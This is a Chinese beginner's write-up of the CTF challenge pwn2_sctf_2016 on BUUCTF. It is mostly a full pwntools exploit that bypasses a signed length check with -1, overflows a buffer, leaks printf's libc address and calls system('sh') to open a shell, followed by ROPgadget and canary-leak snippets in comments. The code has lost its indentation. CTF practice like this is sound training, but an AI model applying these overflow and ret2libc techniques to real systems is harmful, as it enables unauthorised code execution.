小白垃圾做题笔记,不建议阅读。
这道题,依旧做了半天。
查保护:绕过NX
32位ida:
代码就是这样吧。需要先绕过一下整数。然后利用溢出点溢出。
溢出点是vuln函数。因为get_n函数一次只能从缓冲区获取一个字符,它的作用好像就是把字符·放到vuln的buf中。
思路是泄露libc,通过printf,将printf的libc打印出来然后搜索。不幸的是,我没有搜到,在搜了一晚上加一上午后。我去交流群内讨论,结果师傅说,buu有libc。
好吧,无知是本罪。
buu点FAQ:
网址点进去就是了。这道题说是ubuntu16,所以下16,32位(刚刚看过)
然后把libc复制到题目路径下,不是也可以,自己决定,仅仅是一个路径而已。
然后exp:
from pwn import *
from LibcSearcher import *
debug=0
if debug:
p=process('./pwn2_sctf_2016')
elf=ELF('./pwn2_sctf_2016')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
#gdb.attach(p)
else:
p=remote('node4.buuoj.cn',28479)
elf=ELF('./pwn2_sctf_2016')
libc=ELF('./libc-2.23 .so')
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
printf_plt_addr=elf.plt['printf']
printf_got_addr=elf.got['printf']
main_addr=elf.sym['main']
ru(b'read? ')
se(b'-1\n')
ru(b'data!\n')
payload=b'a'*(0x2c+4)+p32(printf_plt_addr)+p32(main_addr)+p32(printf_got_addr)
se(payload+b'\n')
#printf_addr=u32(p.recv(4))
#ru(b'\n')
printf_addr=u32(p.recvuntil(b'\xf7')[-4:])
#printf_addr=u32(p.recv(4))
print(hex(printf_addr))
#libc=LibcSearcher('printf',printf_addr)
#libc_base_addr=printf_addr-libc.dump('printf')
#system_addr=libc_base_addr+libc.dump('system')
#bin_sh_addr=libc_base_addr+libc.dump('str_bin_sh')
libc_base_addr=printf_addr-libc.sym['printf']# 0x054020# 0x054020#0x04a020#### 0x057a70#0x04ea70#0x047a70#
system_addr=libc_base_addr+ libc.sym['system'] #0x045000# 0x045000#0x03be50####0x048150#0x040950 # 0x037f50#
bin_sh_addr=libc_base_addr+ next(libc.search(b'sh\x00'))#next(libc.search(b'/bin/sh\x00'))# 0x18c33c# 0x18c
#338#0x1376e3####0x1bd0f5#0x182925#0x15e14c#next(libc.search(b'/bin/sh\x00'))
payload2=b'a'*(0x2c)+b'bbbb'+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)#+b'\n'
ru(b'read? ')
se(b'-1\n')
ru(b'data!\n')
se(payload2+b'\n')
#ru(b'\n')
p.interactive()
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#write_add=u32(p.recv(4))
#addr=u32(r.recvuntil('\xf7')[-4:])
#puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)